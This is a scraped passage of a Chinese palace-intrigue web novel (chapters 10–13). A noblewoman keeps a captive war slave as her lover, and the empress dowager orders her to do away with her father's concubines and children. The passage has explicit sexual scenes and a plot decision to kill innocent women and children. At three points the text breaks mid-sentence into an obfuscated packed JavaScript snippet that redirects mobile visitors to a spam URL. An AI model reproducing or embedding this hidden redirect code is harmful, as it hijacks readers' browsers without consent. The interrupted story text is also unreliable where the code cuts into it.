偏殿点着几盏孤灯,刘问枢双手放在膝盖上,在床沿坐得笔直。 鼓乐鸣音随着微风飘来。 刘问枢走过去,推开门,望着天空高悬的月亮,喃喃道:“亥时三刻了。” 程曦答应他会早点回来歇息的,可入夜这么久,她还没回来。 宴会中,会有俊美健壮的舞者对她献媚吧? 是他们吸引了程曦的注意吗? 她是会拒绝,还是会……欣然接受,甚至搂着对方宿在另一处偏殿? 亦或是,有额外的什么人,让她为此改变承诺? 是相熟的豪族公子?亦或是朝堂上对她有帮助的潇洒文士? 与这些人相比,他连出席宴会的资格都没有。 真是太没用了啊。 刘问枢不喜欢这个过分清晰的认知。 他拢紧厚实的皮草长袍,“嘭”地用力合拢房门,直接脱掉长袍钻进被褥之中。 不可以妄自菲薄,程曦专门命人给他准备那些吃食,可见是重视他的用处的。 但那种事,哪个给人做男宠的不会呢? 他并不是无可取代的。 蚕丝绸缎与肌肤摩擦,刘问枢从心里无端生出一丝寒意。 程曦说的对,她找他不是为了寻欢作乐。 只做个男宠的话,可替代性太强了,他还需要展现出别的用处,才能增加自己的竞争力。 不过,伺候人的技巧也不能落下。 ……床笫间,程曦对他不够满意。 11. 第 11 章 琉璃盏拖着红烛,大殿之中华灯齐明。 大厅一侧,陈设着乐器。乐师们十指齐动,指尖流淌出弦乐飘飘。笙箫环绕,臣子跟着乐声不自觉打着拍子。 舞伎人数不多,只有三对男女。 他们穿着华美的舞衣,手持玉柄银剑,在乐声之中翩然起舞。 美人如玉,剑光如虹,令人目不暇接。 宫女手捧托盘,穿梭在食案之间,一道接一道捧上珍馐。 程太后主持的晚宴自然不会有上不得台面的行为发生。臣子们席地而坐,杯盘相交,在歌舞中放松精神,低声话家常,尽情把自己投入在这一片美食与歌舞织就的温柔乡之中。 程曦坐在程太后身边,两人食案相连。 程曦点明送给程太后的战俘三兄弟经过一下午的清洗和教导,已经被换了衣裳,送到席间。 此时此刻,他们正一起跟着内侍一起肃立在侧。 满座高官,好像全都瞎了眼睛,没一个讯问三兄弟身份的。 “外祖母,怎么样?是不是姿态俊挺。”程曦笑着问。 程太后的视线只在三个年轻男人身上扫了一眼,便不再流连,只管歪着身子和外孙女耳语。 “哀家有一件要事要交给你处置。” 程曦放下筷子,“外祖母是想让我单独开府?” “虽不中,亦不远。”程太后脸上浅浅的皱纹舒展开,“你要能把哀家交给你的这件差事办好,哀家才能确定你是不是够资格开府。” “赐宅”只是赏赐一座宅院,让人居住;但“开府”意味着,在赐下宅邸的同时,还允许开府的人为自己招聘官员,拥有踏入朝堂的政治班底。 若是有资格开府的人对上关系够硬,还可以把自己发现的贤才送进朝堂。 许多渴望展现才能的年轻学士都很乐意走这条路。 程曦自小受程太后宠爱,几乎是长在长乐宫中,被程太后亲手带大。 可即便蒙受如此恩宠,所有人对程曦的期待也从来都是让她在及笄后嫁一位皇子,做皇子妃,以后做太子妃、皇后,而不是让她入仕,和满朝文武争长论短。 程曦顿时一松手,银筷落在桌面,发出两声不引人注意的脆响。 “外祖母,您……真有让我入朝的意思?” “哀家可没少任用女官,多你一个不多,少你一个不少。这要看你自己立不立得住。”程太后脸上盈满慈爱之情,话中意思却很冰冷。 她可以作为外祖母宠爱程曦,给外孙女无穷无尽的荣华富贵,让她永远做个娇气包。 可一旦程曦踏入朝堂,她就必须要自己撑起一片天,既不能给程太后拖后腿,也不可以指望程太后给她遮风挡雨了。 程曦按住桌面的筷子,谨慎地问:“那,外祖母给我安排了什么考验?” 能知道是“考验”,看来这孩子准备好了。 程太后脸上笑容越发舒心,揭开题面:“程玉的三个侍妾和两个孩子已经被抱进宫了。你离宫的时候带走,处理掉。他打了哀家的脸,是一定要死的,他的孽种也不能留。还有你娘,不论用什么方法,让她乖乖再嫁。” 所有文字化作重量压在程曦肩膀,她情不自禁晃了晃,抓住桌面才没摔倒。 “外祖母,我……” “嗯?”程太后扬起双眉,不怒而威,眼中流露出对她的怀疑。 机会,恐怕只有一次。 程曦咬住舌尖,把嘴边的质疑咽下肚,挤出僵硬的笑脸,点头承诺:“我会处理好的,不留后患。” 她抓住面前金樽,仰头将整杯蜜酒仰头灌下。 宫女添上。 程曦却没有再喝。 到底是亲自带大的孩子,程太后有些心疼,轻轻握住程曦的手,柔声询问:“不喝了?宫里一切有我做主,小酌几杯,醉了也无妨。” 金樽在灯光下闪着迷人的光晕,对程曦充满诱惑力。 她看了金樽一会,却深吸一口气,将其远远推开,摇头郑重道:“醉酒误事,还是算了。” “破例”这种事情,有一就有二,不开头才能保证关键时刻不犯错。 祖孙二人相视而笑,都对答案很满意。 丝竹声里,又度过一个太平夜。 * 一杯果酒带不来醉意,但程曦到最后,仍旧装出一副不胜酒力的模样。 她是让侍人抬回偏殿的。 担架一进偏殿,刘问枢心里就一哆嗦。 刘问枢快步跑下台阶,“乡君,您怎么了?” “刘问枢——刘问枢,你还没睡呀!”刚一接近,一道人影已经扑进他怀里。 面如桃花,和气如兰。 软绵绵的一团小身子倚靠在刘问枢怀中,比平时更加温暖,好像抱住了一颗小太阳。 “抱紧了。”刘问枢情不自禁凑上前,用嘴唇贴了贴程曦的额头,将她打横抱起,平稳又快速地踩上台阶,将人抱回卧榻。 内侍跟上,在刘问枢身后轻声解释:“太后加封乡君,乡君拒绝了,但也高兴,就多喝了几杯。奴婢这就去打水,为乡君擦洗。” “不必了,我来吧,我能照顾好。”刘问枢一口回绝。 侍人飞快瞥了一眼跟年轻战奴黏糊的荣昌乡君,又看了看到床上还不舍得把人放下的刘问枢,头垂得更低了。 侍人马上笑着改口:“奴婢这就去抬水。” 刘问枢看着躺在他胸口上的程曦,忽然命令:“把他们都带走,乡君不需要其他人伺候。” 门口站着的四个宫女四个内侍,登时变了脸色。 伺候程曦十多年的春柳当场反唇相讥:“乡君日后不论出嫁还是招赘,奴婢都要陪伴乡君一辈子,刘郎君怕是操心得太多了。” 丫鬟和侍人都是好不容易才争斗来荣昌乡君身边位置,站住脚的。 刘问枢这个野汉子一句话就想把他们都挤走? 做梦! 刘问枢攥紧拳头,故作老实地低下头。 不等春柳露出胜利的眼神,他已经压低了声音,隐晦又直白的给出解释:“乡君今日让膳房做鹿肉。不方便你们留在外间值夜,去偏殿门口那联排的房舍休息吧。” 鹿肉在皇家的用处,声名远播。 当场让春柳哑口无言了。 “啊、啊……这……我们去给乡君熏衣裳。”春柳涨红脸,扯着另外几个避到门外。 内侍沉默地送来热水,将其放在屏风后,分外小声地提醒:“奴婢在门外值夜,刘郎君若是要热水,只管喊一声。” “不用了,你们去睡吧,明日辰末再来送水。今晚,用不上。”刘问枢在内侍惊叹的目光中合拢房门。 他配好热水,端水到床边的坐墩上,褪去程曦衣裙鞋袜后,轻手轻脚的为她拭净身体。 程曦被送回来之后,地暖的温度明显升高了。 现在,哪怕光着身子也会觉得温度宜人。 刘问枢晦涩地目光落在床榻,慢慢解开扣子,向床边靠近。 他掀开被单,将程曦抱入怀中。 肌肤相亲,体内烧了一晚上的野火透过皮肤传到程曦身上。 程曦反手抱住年轻男人,手指抚摸着他的脸,亲了一口,笑得开怀:“你好热啊。” “乡君,现在开心吗?”刘问枢微微偏着脸,吻上程曦的指尖,轻啄吻几下,锁住指腹,将指尖吮入口中,用灵活的舌头缠着手指。 程曦翻身,改成坐在刘问枢腿上。 她被用力咬了咬手指,看着上面留下两排牙印,用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051915|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手指戳着刘问枢脸上的酒窝:“开心啊,今天双喜临门了。” 除了要被提升名位,还有给他吃下这么多鹿肉、鹿血,不用再照顾他脸面,肆意畅快一晚上的“大喜”,对吧! 刘问枢干脆握住程曦手腕,借力让她自己捂住嘴。 他仰望着骑着自己的主人,承诺:“奴今夜会让乡君更开心的。” 这一晚,程曦没来及说出她清醒着,就已经被拉入狂乱的情潮。 热度在偏殿继续上升。 锦裘落地,床单也被拉扯得丝线崩裂。 她被刘问枢握着腰,不仅贴近看清了床帐的织就的花纹;还换位到门边,撑着门扉、透过窗栅确定了偏殿的格局。 烛火烧了一夜未熄。 晨光破晓,窗外的鸟鸣也没让这场酣战迎来终局。 程曦根本不知道自己是何时睡去的,她甚至不清楚自己到底是睡着了还是晕了过去。 直到清醒的时候,看着窗外的霞光,对时间概念模糊不清。 “乡君,现在申时六刻了。”留在房间的是已通人事的春桃,她看着程曦的脸色,机灵提醒。 程曦浑身酸软,更让她难受的是难以言说的位置似是肿了,最微小的动作也让她有种欢宴未歇的错觉。 春桃捧来内衫,为程曦穿衣,主动解释:“其他几个丫头都没出嫁,奴婢怕她们乱说乱看,让她们都去张罗其他了。” 程曦点点头。 昨晚上确实吃撑了,但享受就是享受,刘问枢愿意豁命伺候她,她总不能因为刘问枢爱岗敬业就惩罚对方,打击他工作的积极性。 只不过…… 程曦左右看了看,纳闷道:“刘问枢呢,他怎么没在,难道动了一晚上还不累?” 春桃乐不可支。 她贴着程曦耳朵赶紧说:“卯时,太后派成业公公来请乡君一块用早膳,我们推说乡君未起身。到了辰时,母后命成业公公送点心给乡君,我们又对成业公公说乡君仍旧未起。成业公公察觉不对,上报了。太后担心您是病了不敢说,带人亲自过来,撞上了……” “撞上什么了?外祖母直接推门进来,看着了?!”程曦大惊失色。 春桃彻底憋不住笑:“撞上屋子里的动静——乡君,您糊涂了,当时还没结束呢。太后大怒,当场就让人把他抓去按到水桶里明白规矩了。” 就是再孤陋寡闻,程曦也知道刘问枢这种能力天赋异禀,要是死了,天下难找第二个。 她急着追问:“那他现在在哪里?” “乡君别着急,太后没把他怎么样,只让人滚去偏厅跪着。” “那就好。去让他起来吧。”程曦放心了。 春桃再也不遮掩脸上的笑,亲昵地提醒:“奴婢已经给乡君检查过了,刘郎君没敢在您身上留下任何痕迹。因着这个,母后才没狠狠处置他。” “嗯,嗯。”程曦胡乱答应一声,穿上衣服之后,实在没脸亲自和程太后道别,只能让春桃去替她谢恩,自己催着回府。 过了一天一夜,程家要被清算的事情恐怕已经传开了。 程曦竖起耳朵,听到后面那辆副车车轮的动静,更觉心烦。 里面装着她生父的侍妾和私生子女。 人是成业送来的,没有一句额外的吩咐。 她明白,这是手握夏国权柄的太后,在等待程曦用行动给她交一份答卷。 ……不对! 春桃刚刚说,外祖母今天卯时才用早膳? 如此说来,外祖母今早也起晚了。 程曦脸蓦地一红。 她赶紧用力甩头,外祖母怎么可能向她一样色令智昏,把不该收用的人变成榻上玩物。 外祖母肯定是发现人才,高兴地彻夜恳谈! 12. 第 12 章 马车在石板上压过,车厢微微摇晃,带着逐火也飘忽不定。 烛光照在程曦脸上,半明半暗。 她扣紧桌沿,甩开芜杂的心思,打听起正事:“我睡着的一整日,都发生过什么?” 春柳情不自禁仰头谢了声苍天,开始禀报她在宫中留心到的事情:“昨天您去宴席前,就有一道敕令,调任驸马的职务,让他去余吾州。据说,程家连夜安排驸马出京,携带的行李很少呢。” 程曦低笑一声:“程辉倒是乖觉。” 程太后厌恶了程玉,程辉就尽快把人送走,可见他还不是无药可救。 看在这份“懂事”的面子上,程太后会给程辉留条不错的退路。 春桃在另一旁拼命摇头:“他们今早才让人通知到长公主,长公主大怒,进宫闹了好一场。不但把程家骂得狗血淋头,言辞中对您也颇有怨言,说……说乡君只顾着自己开心,不知道拉亲爹一把。” “是啊,幸好乡君把这一日睡过去了,不然还要跟着太后一起安抚长公主。明眼人都知道太后时给长公主出气呢。” 后半句“偏偏长公主看不透,还护着驸马”被春柳咽下肚。 她们不能说乡君母亲的坏话。 日耀长公主只有表面看着温柔,她骨子里极在意脸面,决不允许任何人在外伤了她的脸面。 所以,驸马程玉和她分居多年,她一声不吭,不允许京中对此有任何议论;程曦拒婚不做皇子妃,她也不允许程家人进公主府的大门闹腾,让人看程曦的笑话。 只是,在丈夫和女儿之间,长公主显然还是选择丈夫,把女儿排在了后头。 程曦愁上心头:“糟糕了。” 天底下确实有爽利的女人,但日耀长公主可不是那种人。 她是会把心中不快反复咀嚼,越想越气,酝酿成强烈报复心,最后给所有事件的参与者迎头痛击的类型。 过去,丈夫和女儿都是她保护的对象;但如今,女儿也是促成丈夫离乡远去,那女儿也是她要惩罚的对象之一。 只去宫中告状一回,显然不够日耀长公主撒气的。 程曦回家之后,自有一通闲气等着她来承受。 一双大手按住程曦的太阳穴,按摩的力道适中,迅速降低突生的不适感。 程曦握住刘问枢手腕凑过去亲了一口,顺手从手腕上撸下一只金钏,给刘问枢戴好。 随即,她继续问:“那外祖母怎么补偿母亲的?” 春柳忙说:“太后把长公主留在宫中吃早膳,用饭的时候,把永安侯也给请来了。听说,永安侯……” 永安侯裴俊是个鳏夫。 原配是家中给永安侯裴俊定下的,比他年长四岁。因为岳丈身体不好,永安后十一岁就早早完婚。 原配进门后分三次生育了两女两子。双胞胎女儿均早已出嫁,如今两个儿子也到了谈婚事的年龄。 永安侯正缺个操持内务的妻子。 本朝的规矩,丈夫过世,妻子守孝一年;妻子过世,丈夫守孝三个月。 但不知道是感情深厚,还是永安侯本人忙于公务,三年多来,他始终没有再婚。 永安侯比日耀长公主还小了一岁,年富力强,能力突出。 最重要的是,他的堂兄裴景一直紧密团结在程太后身边。 程太后以为,永安侯裴俊这样的男人,正是自己女儿再嫁的好人选,直接请人进宫陪着日耀长公主早饭。 永安后没有推脱,刮了头面,穿着簇新的衣裳前来赴宴。 面对程太后所有问题,永安侯全部敞开回答,没有遮掩、没有矫饰,令老太太十分满意。 至于日耀长公主……靠着他人权力生存的人,是没资格满意或者不满意的,或者说,即便不满,也只能对下面人耍耍脾气,改变不了结果。 “乡君少不了要被折腾一场。”春桃做了结论。 程曦顿时连家都不想回了。 比起和母亲交流,她真的感觉陪伴外祖母的生活更加轻松愉快。 她深吸一口气,埋头进刘问枢胸肌,深呼吸好几次,吸饱阳气缓解心情。 死道友不死贫道。 程曦果断下令:“选个能说会笑的战奴给母亲送过去。” 不管日耀长公主喜欢不喜欢,送了“赔礼”至少正名她有道歉的意思,母亲用别人发泄过情绪,也不至于太难为她了。 到时候能交流了,问题就容易解决了。 * 实际情况比程曦设想得更加糟糕。 公主府的大门已然落锁了,日耀长公主根本没给女儿和她交流的机会。 “乡君,长公主让您去程家住。您看今晚是否换个住处?”侍卫叫门后,一脸为难地向程曦禀报。 程曦打开车窗,探身朝着紧闭的大门看几眼,果断下令:“解马,用马把门撞开。” 春桃拉着程曦劝说:“乡君,要不算了吧。母后吩咐您的事不急在一日,您要是闹开了长公主只会更生气,更不愿意原谅您的。” 不急? 跟着她回到公主府的这群禁卫里面,指不定哪一个就是程太后的眼睛和耳朵。 她的一言一行,都会被完完整整反馈到程太后耳中。 若母亲耍小脾气就可以辖制程曦,程曦凭什么让程太后相信她入朝有和朝政争锋的能力? 程曦推开春桃的手,拒绝好意。 她站到车头,提声重申:“撞门!” 马车被牵到一旁停稳。 车夫给四匹骏马解下锁套,排成一排牵到公主府的正门边上,从左右后三个方向挡住后,用力抽马屁股。 疼痛让骏马“唏律律”地叫着,忍无可忍之后,它们人立而起,扬起前蹄,不断蹬踹正门,想要为自己找一条生路。 精铁马蹄和大门上的铜钉碰撞,叮当作响,远远传开。 片刻功夫,整条街的住户都派下人出来打探消息了。 闲言碎语充斥着街道。 程曦在车厢中安坐,刘问枢悄悄握住程曦的手,低声说:“乡君不必感到难受,大家应该只是好奇,没有别的意思。” 程曦反握住他的手,笑道:“你不用担心,这么大的噪音,没人不好奇才古怪呢。” 程曦自小被人伺候着长大,喂奶的、梳头的、穿衣的、管首饰的、打水的、擦窗的、扫院子的、记账的,里里外外,少说三十多个丫鬟。 她哪一刻不是被人注意着呢? 像日耀长公主这种,长在万千瞩目之下,却在意他人眼光的才是性子古怪的表现。 “乡君不觉得困扰,奴便安心了。”刘问枢伸手揽着程曦,让她能舒舒服服地靠着自己休息。 “你别‘奴’来‘奴’去的了,说‘我’。”程曦在他胸口蹭了蹭,找个舒服的姿势放松身体,“刘问枢,你声音真好听,多和我说说话。” “乡君想听什么?” “说点你没提过的私事吧,我爱听你的声音,不管说话还是低哼,入耳都很美妙。” 明明刚睡醒,可在刘问枢怀里,她又变得懒洋洋的。 刘问枢睫毛轻轻抖了几下,遮住漆黑的瞳仁里流出的冷意。 他视线一扫,车内再无其他人。 刘问枢眯起眼睛。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051916|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故意贴着少女耳畔低语:“昨日乡君让人准备的菜,我吃了一干二净。” “宫中名厨确实都有好手艺。既然你夸好吃,看来没有趁机看人下菜碟,弄那些温水里闷了许久的菜,糊弄差事。”程曦闭着眼睛低语。 是他调情的话,听起来太正经了吗? 程曦的回答为什么如此的……不以为意。 刘问枢顿时对自己的能力充满怀疑,他进一步说:“乡君让人准备的菜色,都不常见,厨子们就算想,也没办法糊弄。” 程曦颔首,仍旧没睁眼,“补身的都是好东西,也不是谁都吃得上的。” “乡君觉得膳房给我补的好么?若是乡君满意,我以后可以顿顿都这么吃。” 程曦睁开眼,双手撑在刘问枢两侧,好奇道:“哦,他们做什么了,瞧你,这么念念不忘的,一直勾我答应许你一样的吃食。” 刘问枢抓着程曦的手,让她贴上自己胸口滑动,感受掌下饱满的肌肉线条:“鹿肉、鹿血、鹿茸、锁阳、杜仲、海马。” “药效出众,乡君昨夜亲口承认‘够了’的。” “怎么是这些……” 疑惑的神情终于变成了惊慌,程曦突然收紧双手,长长的指甲用力抓过皮肤。 “都是误会!下人理解错了!” “唔!” 刘问枢顿时发出一声闷哼,疼痛与爽快的情绪同时侵占了他的脸。 他低喘着仰起头,喉结不断滚动。 刘问枢控诉地看着程曦,用眼神指责她敢做不敢当,拿出证据:“乡君昨夜等到药效发挥足了的时辰才回房。” “没有这回事!”程曦急急忙忙捂住刘问枢的嘴,不允许他继续胡言乱语。 “我只是看你身上有箭痕、鞭伤,想给你补身子。你别诬赖我!” 刘问枢怀疑地看着她:“真的?” “真的!”程曦用力点头。 嘴唇贴了贴程曦掌心,湿软的舌头在掌纹扫过。 刘问枢的眼神变了,好像有缠绵的丝线把程曦紧紧包裹:“那我就信乡君一次。” “不过,”他咬了咬程曦耳垂,用只有他们俩能听到的声音说,“就算是误打误撞,乡君也很满意我补身的结果吧。” 程曦打了他一巴掌,手上力道轻得像是小猫拍人,“不满意。” 挨打的人不疼不痒,打人的人倒是脸红得几乎滴血。 “我以后,天天这样伺候乡君。”唇舌裹住耳垂,刘问枢虚揽住程曦,把人抱回怀中。 程曦锤了他几下,“谁要你天天伺候了,纵欲伤身。我才没闲工夫。” 不等刘问枢再说,侍卫已经回来禀报:“乡君,长公主命人开门了,专门派人接乡君。” 一顶轿子停在马车旁。 程曦瞬间坐直,一把推开刘问枢,直接下车坐进轿子。 少女走得利落,丝毫不受刘问枢的情绪打扰。 “走吧。” 轿子的窗帘落下,遮住了程曦的身影,连她的声音都显得分外遥远和模糊。 刘问枢被留在车厢里。 他死死盯着轿子,直到再也无法看清,才垂下眼帘,遮住眼底的失望。 * 轿子在公主府摇摇晃晃地走了将近两盏茶的时间才停下。 可落轿后,一阵混乱的脚步声过后,却没人提醒程曦下轿,外头也感知不到任何光亮。 程曦侧耳听倾听,只捕捉到轿夫们离开的脚步声。 黑暗中,响起一阵“哗啦啦”的锁链声。 程曦浑身汗毛倒竖,急忙掀开轿帘,“你们做什么?开门!” 13.第 13 章 房门外无人应答。 程曦能听到清晰的痛呼和呻吟。 程曦站在门边,适应房间的黑暗后,勉强分辨出门窗的方向,便立即磕磕绊绊朝着门口走去。 她用力拍打着房门,“母亲到底吩咐你们做什么了?快回话!” 没人回答程曦的问题,可她却听到了呜咽和搬运重物的声音。 仆从静悄悄,必定在作妖。 程曦心中暗道不好,“你们胆敢不回话?!” 程曦返回室内,搬来一个凳子,深吸一口气,举起椅子,用力摔到房门的格栅上。 雕镂的格栅用料虽然扎实,强度却实在比不上厚实的整块木料,坐墩连砸数下,一声让人牙酸的“吱嘎”脆响后,格栅被凿出一个大洞。 灯火璀璨的庭院里,李嬷嬷带着几个丫鬟守在外面。 廊下倒着十几个丫鬟、内侍,有些甚至被堵了嘴,双手用绳索捆在背后拖到半路上。 对上程曦冒火的眼睛,当场就有两个婆子矮身跪下。 果然又有李嬷嬷! 李嬷嬷虽然双腿发颤,却还强挺着站在原地。 她找话给自己的行为狡辩:“乡君不可再任性了,长公主说您对父不孝,让您今晚好好反省……” “好一群刁奴,我都记住了。”程曦板着脸,一句话说得李嬷嬷冷汗直流。 程曦没继续放狠话威胁这群下人。 没必要。 她丢开坐墩,沉声质问:“还不开门?!” 李嬷嬷梗着脖子,“长公主有令,乡君还不能出去。” 程曦不搭理她,看向跪在地上不敢起来的另一个嬷嬷,“郑嬷嬷?” 郑嬷嬷明明双腿发软,可被这目光一看,不知道从哪里生出来的力气,脑子一片空白地扑倒了李嬷嬷。 两个婆子一通撕打,郑嬷嬷硬是从李嬷嬷怀里抢下钥匙,手忙脚乱地打开了铜锁。 “乡君,奴婢是一时想岔了。”郑嬷嬷瘫坐在地,连自己什么时候哭了满脸泪痕都不知道。 她的亲生女儿都没能养大,年岁渐长,生怕再被赶出去,谁有权就听谁的。 程曦对于郑嬷嬷会背叛自己一点都不意外,但她也清楚,只要自己喊郑嬷嬷做事,郑嬷嬷也绝对会尽心。 郑嬷嬷现在害怕程曦和她翻旧账,连头不敢抬,只一个劲儿的求饶。 程曦淡淡的“嗯”了一声,“记住,我只用忠仆。去给她们松绑。” “是,是!奴婢以后绝不再犯浑。”郑嬷嬷果然当事情就此过去了,连忙从地上爬起来。 程曦却在心里摇头。 不等程曦追问,郑嬷嬷已经一边解绳扣一边主动交代:“长公主生了都好大一通气,才想给乡君些教训的。她坐在回雪楼等着乡君去服软,乡君说几句好听的罢。” “嗯。”程曦点点头。 派去哄母亲的战奴应该已经到了,她拖一会再去不迟。 带着丫鬟离开院子前,程曦给李嬷嬷一群人判决了今后的命运,“把李嬷嬷几个赶去庄子上种田,永远不准她们再踏进公主府一步。” 郑嬷嬷低头应“是”,带人把李嬷嬷几人的嘴堵住,拖走。 ——这些手绢和绳索,刚刚还是李嬷嬷等人用来捆住其他丫鬟婆子的,转瞬间,就成了收拾她自己的工具。 春柳揉着被捆疼的手腕,轻声询问:“乡君,去回雪楼吗?” “不急。你们先把战奴送去。我带回来的那车人呢?让人送过来。”月光下,程曦像是一座玉雕,美丽却冰冷。 * 空置的院子很快被丫鬟们收拾干净。 灯火点亮后,这里露出华美的内饰,看不出之前的鬼气森森。 程曦坐在她用来砸窗的坐墩上,面前站着三个妇人打扮的漂亮女人和两个孩子。 三个妇人的年龄差极大,最大的看着比日耀长公主还要年长,年级最小的脸上稚气未消,程曦怀疑对方与她年龄相仿。 “请乡君绕我一条性命。奴婢是良家子,不是程家买来伺候驸马的!”年长妇人仿佛已经猜到了自己悲惨的前路,一个劲儿给程曦磕头。 程曦好像很好奇,单手撑住下巴,对她扬扬眉毛:“哦?竟有此事,那你说说看,到底是怎么回事。” 那妇人好似看到了希望,眼睛里燃起两簇火焰,急忙加快语速:“程玉姓‘程’,可他家祖上只是程家支脉,传到他这一辈,过年祭祖都轮不到他过去磕头,早就破落了。” “长隆十年,京城附近闹蝗虫,我家里全靠几亩薄田过日子,田地里的出息被虫子祸害了大半,家里为了活命,收了两袋子粮食当聘礼,把我嫁给程玉做媳妇。” 程曦心里“咯噔”一声。 长隆十年? 长隆十年,日耀长公主刚刚出生。 那一年,程玉八岁,而他是二十二考中秀才科,进宫面圣的时候被公主一眼相中的的。 “长隆十年,你多少岁?” 年长妇人哽咽:“奴婢当年十六了。庄户人家,都是多留女儿在家做几年工再嫁人的。不想却被草草嫁了。” “那你……” 程曦张开嘴,却不知道应该询问些什么了。 糟糠原配,默默无闻。 想也知道其中不但有程玉的有意隐瞒,也有程太后和先帝的笃定——程玉一个和程家沾亲带故的穷书生,能得到夏国公主的青睐,难道他说自己未曾娶妻,还敢用假话骗人吗? “没去官府登记过婚书吗?” 年长妇人脸上闪过委屈和恼怒,勉强压着声音解释:“我是真正和他办过婚礼的!他十一岁出精,礼成我们就睡到一块了!” 程曦在心里叹了一口气。 果然。 若到县衙登记过婚书、迁移户籍,朝廷不会没人发现。 可民间只办理不挪动户籍的事情比比皆是。 对方就算没做这些,依旧是程玉明媒正娶的妻子。 或许是被质疑身份激怒了年长妇人,她倒豆子似的说出一长串话:“我和你程玉养出过三个孩子呢。要不是家里穷,都没养活,最大的都该让我抱孙子了。” 程曦心中一跳,突然插嘴:“最小的哪一年出生的?” “最小的三年前落地的!” 听到这个答案,程曦不禁露出惊讶的表情。 这想法虽然不好,可看年长妇人容貌衰败的程度,三年前也不算什么美人。 程曦真没想到生身父亲居然是个不挑颜色的男人。 她脸上的惊讶太清晰了。 愤怒吹涨了年长妇人的胆量,让她敢于充满挑衅地昂首瞪着程曦,“程玉还想娶了公主就出钱把我赶走。我才不答应,他得了荣华富贵,我凭什么继续过苦日子。” 程曦得到想知道的一切信息,已经无心继续搭理对方了。 她把视线转到姿态妖娇的妇人身上,直接问:“你呢?” “奴奴是大老爷在驸马高中那日赠给驸马的妾室,奴奴绝无对长公主不敬之心。” 高中那时候,日耀长公主还没见过程玉呢。 也就是说,这一位也比日耀长公主跟程玉在一块的早。 些微的酸涩在她心里酝酿成了一股火,让她想要变成一条愤怒的龙,朝程玉狠狠喷火。 骗婚骗到了皇家头上,真是死有余辜。 原本对于生父因自己一句告状就要被抹去性命的愧疚荡然无存。 “你也是被人送给程玉的?”程曦压不住火气,想年龄最小的妇人质问时,声音都变尖锐了。 年级最小的妇人似乎很胆小,程曦刚一提声,她就吓得往年长妇人身后躲藏,连声音都不停颤抖:“妾是驸马自己相中了娶回来的。” “娶?” “是,是娶的妾,有文书呢。妾在官府里面按了手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061780|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 印的。”年幼妇人生怕程曦不信,一个劲儿的点头。 良籍女子做妾确实也需要在官府过文书。 可谁敢允许程玉娶妾,对方不想在朝廷里继续当官了吗? 程曦心思一转,就猜到了里头的把戏:“当时程家还有谁在场,能证明这件事情?” 年幼妇人急忙回答:“随荣侯保媒,他也在文书上签字了。” 程辉这个老匹夫,程家的恶心事,果然每一件都有他的手笔。 想来,程辉是仗着年幼妇人不识字就欺负人,将年幼妇人做妾的户籍落在程玉自己名下了。 她不相信这些人保密的能力。 程曦挥挥手,“带下去吧。” 三个妇人又被堵上嘴,赶回车上。 春柳试探着问:“乡君,那几个孩子,您还要见吗?” 程曦摇头:“不必了。” 事实真相实在是清晰到不能更清晰了。 程玉隐瞒已婚事实,迎娶日耀长公主。 这些年来,他靠着妻子平步青云,私底下依旧享尽齐人之福。 程家的老混账,不但帮着程玉遮掩,还主动为他提供便利。 想升官发财的时候,程玉来找日耀长公主说甜言蜜语,一旦达成目的,他马上躲回程家,在一群妻妾面前做他顶天立地的男儿郎! 可恶!外祖母让他死在外面,做事还是太体面了。 程曦指甲一点点陷入掌心的肉里。 春柳讯问:“乡君,这些人如何处置?” 程曦摇头:“明早送去给母亲看一眼,说明调查的情况。之后,大人和孩子,一个都不留。” 他们确实都很无辜,但是他们必须死。 除了这些女人孩子,连程家那群知晓内情的人,都必须永远消失。 甚至不是“能否守口如瓶”的问题,这些人的存在本身就是证据。 此时程太后刚刚得回权柄,正在她收拢程家,把娘家重新捏回手中的关键时期,如果被人知道程太后当年就“连一穷二白的女婿都控制不住”这种事情,哪个朝臣还会相信程太后的识人之能? 更进一步说,这会让程太后的政敌意识到,她从来不是无坚不摧,她也容易受到他人的蒙骗,有着许许多多的弱点可以被抓住攻击。 如果程太后在他人朝臣心中变成“衰老又愚蠢的老太太”,就会毁了她几十年来拼尽全力才积攒下的威望。 一旦大树倾颓,依靠大树而生存的鸟雀就会遭殃。 程曦和日耀长公主就是生长在程太后这颗参天巨木上的鸟雀。 所以程太后必须永远强大,充满威严。 ……这才是程太后要求她把人带回家,悄悄处理掉的真实目的。 无关情感与道德,只与利益相关。 这一课,程曦受教了。 